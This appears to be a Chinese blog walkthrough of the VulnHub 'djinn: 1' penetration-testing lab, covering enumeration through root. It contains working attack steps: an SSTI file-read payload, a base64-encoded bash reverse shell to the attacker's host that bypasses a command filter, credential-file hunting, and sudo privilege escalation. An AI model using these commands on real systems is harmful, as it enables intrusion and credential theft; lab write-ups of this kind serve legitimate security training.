当前位置: 首页 > news >正文

djinn: 1靶场渗透测试

djinn: 1

来自 <djinn: 1 ~ VulnHub>

 

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.211

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.211

  1. 端口21 (FTP - vsftpd 3.0.3)
    • 检查匿名登录:尝试使用anonymous作为用户名,空密码或任意邮箱登录。bash
      复制
      ftp <target_ip>
      # 输入用户名:anonymous,密码留空或任意
    • 漏洞检查:vsftpd 3.0.3未报告严重漏洞,但仍需确认配置安全性,如是否允许匿名上传或存在敏感文件。
  2. 端口1337 (自定义数学挑战服务)
    • 自动化解题脚本:编写脚本连接端口,解析并计算数学表达式,完成1000次答题。
    • Python脚本示例

import socket
import re
host = "目标IP"
port = 1337
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
# 接收欢迎信息
data = s.recv(1024).decode()
print(data)
count = 0
pattern = re.compile(r'\((\d+),\s*[\'"]([-+*/%])[\'"],\s*(\d+)\)')
while count < 1000:
    buffer = ""
    while ">" not in buffer:
        buffer += s.recv(1024).decode()
    match = pattern.search(buffer)
    if not match:
        print("解析失败:", buffer)
        break
    a, op, b = map(str, match.groups())
    a, b = int(a), int(b)
    # 计算答案
    if op == '+': ans = a + b
    elif op == '-': ans = a - b
    elif op == '*': ans = a * b
    elif op == '/': ans = a // b  # 根据服务端处理调整整数或浮点
    elif op == '%': ans = a % b
    else: break
    s.send(f"{ans}\n".encode())
    count += 1
    print(f"已解决 {count}/1000: {a}{op}{b}={ans}")
# 获取最终结果
print(s.recv(4096).decode())
s.close()

  • 注意:根据服务端实际响应调整运算逻辑(如整除或浮点)。
  1. 端口7331 (HTTP - Werkzeug/Python 2.7)
    • 访问Web界面:使用浏览器或curl查看内容。
      curl http://<target_ip>:7331
    • 检查Werkzeug调试控制台:访问/console路径,尝试利用调试器PIN漏洞(需信息泄露生成PIN)。
    • SSTI漏洞探测:在输入点测试模板注入(如URL参数):
      curl http://<target_ip>:7331/{{7*7}}
      # 若返回49则存在漏洞
    • 利用SSTI获取shell(示例):
      {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
    • 目录扫描:使用gobuster寻找隐藏路径:
      gobuster dir -u http://<target_ip>:7331 -w /path/to/wordlist
  2. 端口22 (SSH - filtered)
    • 暂缓处理:因过滤状态,可能受防火墙限制,待其他途径获取权限后内网渗透。

 

4,访问一下7331端口的http服务

 

5,然后匿名登录ftp服务器

ftp 192.168.23.211

get creds.txt

get game.txt

get message.txt

然后下载当前文件夹下所有的文件,这些文本存在一些提示

@nitish81299

我要休假几天,所有工作交给你处理。

别搞砸任何事

凭据

nitu:81299

(附言)

哦对了,我忘了告诉你,我在 1337端口 给你准备了一个游戏。

看看你能不能打到最终关卡拿到奖品。

 

6,然后再连接1337端口

telnet 192.168.23.211 1337

输入正确结果会继续,错误结果会直接结束,那么编写脚本来进行这1000次尝试

#coding:utf-8

import logging

import telnetlib

import time

import re

def main():

    try:

        tn = telnetlib.Telnet('192.168.23.211',port=1337)

    except:

        logging.warning("errr")

    time.sleep(0.5)

    loop=1

    while loop<1002:

        data = tn.read_very_eager().decode('ascii')

        print(data)

        res = re.search('(.*?)\s>',data).group(1)

        datas = str(calc(res)).strip()

        print(str(loop)+":"+datas)

        loop=loop+1

        tn.write(datas.encode('ascii')+b"\n")

        time.sleep(0.1)

    data = tn.read_very_eager().decode('ascii')

    return data

def calc(res):

    res_str = res.strip('(').strip(")").replace("'","")

    muns = res_str.split(',')

    munber1 = muns[0].strip()

    orperator = muns[1].strip()

    munber2 = muns[2].strip()

    res = eval(munber1+orperator+munber2)

    return res

print(main())

成功得到以下端口,敲击一下应该就能打开隐蔽端口

 

7,然后knockd开启这些端口

knock 192.168.23.211 1356 6784 3409

knockd 工具详解

knockd 是一款用于实现 端口敲门(Port Knocking) 的守护程序,通过监听特定的端口访问序列来动态修改防火墙规则(如 iptables 或 nftables),从而隐藏受保护服务的真实端口,增强系统安全性。

一、核心功能

  1. 动态防火墙控制
    • 当客户端按预设顺序访问一组关闭的端口时,knockd 自动临时开放目标服务端口(如 SSH)。
    • 操作完成后,可配置自动关闭端口或保持开放一段时间。
  2. 隐蔽服务
    • 服务端口默认关闭,避免被扫描工具(如 nmap)发现。
    • 仅当收到正确敲门序列后,服务才对合法用户可见。
  3. 支持复杂验证
    • 支持单次敲门、多步序列、超时限制。
    • 可结合加密算法(如 SHA1)生成动态敲门序列。

 

经过敲击之后ssh的22端口开启

 

8,对7331端口的http服务进行子目录枚举扫描

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.23.211:7331

http://192.168.23.211:7331/wish

http://192.168.23.211:7331/genie

 

9,在http://192.168.23.211:7331/wish的Execute输入id,发现这个地方存在命令执行漏洞

回显位置在URL,使用burpsuite攻击效果更加明显

在/wish输入id发现回显为”error 403",说明这里对输入的命令做了安全限制。所以我们这里需要对输入的命令进行url编码并在/wish界面执行

bash -i >& /dev/tcp/192.168.23.182/4444 0>&1   

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzLjE4Mi80NDQ0IDA+JjEg"|base64 -d|bash

然后kali打开对4444端口的监听

 

10,信息收集

这里执行过滤,其中RCE中是被过滤的名单

RCE = ["/", ".", "?", "*", "^", "$", "eval", ";"]

def validate(cmd):

    if CREDS in cmd and "cat" not in cmd:

        return True

 

    try:

        for i in RCE:

            for j in cmd:

                if i == j:

                    return False

        return True

    except Exception:

        return False

其中CREDS是一个字符串,使用find进行查找

find / -name *creds* -print 2>&1| grep -v "Permission denied"

cat /home/nitish/.dev/creds.txt

得到了nitish的密码,这个和ftp服务器里面存在的文件有区别

nitish:p4ssw0rdStr3r0n9

 

11,横向移动到nitish用户                 

得到第一个flag

 

12,sudo -l查看提权利用点

genie 命令使用详解

genie 是一个用于在 WSL (Windows Subsystem for Linux) 中运行 systemd 的工具。它允许在 WSL 实例中启动完整的 systemd 进程管理系统,使得需要 systemd 管理的服务(如 Docker、SSH、Nginx 等)能够在 WSL 中正常工作。

进行尝试genie -cmd id,可以正常运行,exit时会出现机具嘲讽的You are a noob hacker!!

横向移动。使用sam的身份运行id,成功的切换为sam

sudo -u sam genie -cmd id

python -c 'import pty;pty.spawn("/bin/bash")'

 

13,再次查看sudo权限,发现/root/lago具有特殊权限

发现lago命令可以用root的身份运行,并且不需要passwd

sudo -u root /root/lago

 

然后执行 ./proof.sh

 

 

 

 

 

 

 

 

 

 

相关文章:

  • gdb: Invalid disassembly modifier
  • 宝塔面板安装docker flarum失败,请先安装依赖应用: [‘mysql‘]:5/8
  • 平台体系如何搭建?贝锐向日葵发布企业技术支持解决方案白皮书
  • JavaEE企业级开发 延迟双删+版本号机制(乐观锁) 事务保证redis和mysql的数据一致性 示例
  • 使用AI一步一步实现若依(23)
  • 什么是「Agentic 工作流程」?丨社区来稿
  • Springboot 学习 之 Shardingsphere 按照日期水平分表(二)
  • c++ map和vector模板类
  • mysql创建库表插入数据演示
  • 《时间编码》
  • 【零基础学python】python高级语法(三)
  • MySQL学习之用户管理
  • 十五天-动态规划
  • 6.1 模拟专题:LeetCode 1576. 替换所有的问号
  • Android studio组合教程--做出一个类似于QQ的登录页面
  • vue2前端日志数据存储,推荐(IndexedDB)
  • 数据类设计_图片类设计_矩阵图类型和像素图类型设计的补充
  • 【CC2530 教程 十】CC2530 Z-Stack 协议栈
  • 基于微信小程序的医院挂号预约系统设计与实现【lw+源码+部署+讲解】
  • 小程序跳转到h5页面
  • 厦门商场网站建设/网络营销推广方案案例
  • 怎样做聊天网站/长沙seo研究中心
  • 怎样做易支付网站/免费下载优化大师
  • 怎么做vip电影网站/引擎搜索大全
  • 无锡企业网站的建设/全球新冠疫情最新消息
  • 能做门户网站带论坛功能的cms/西地那非片多少钱一盒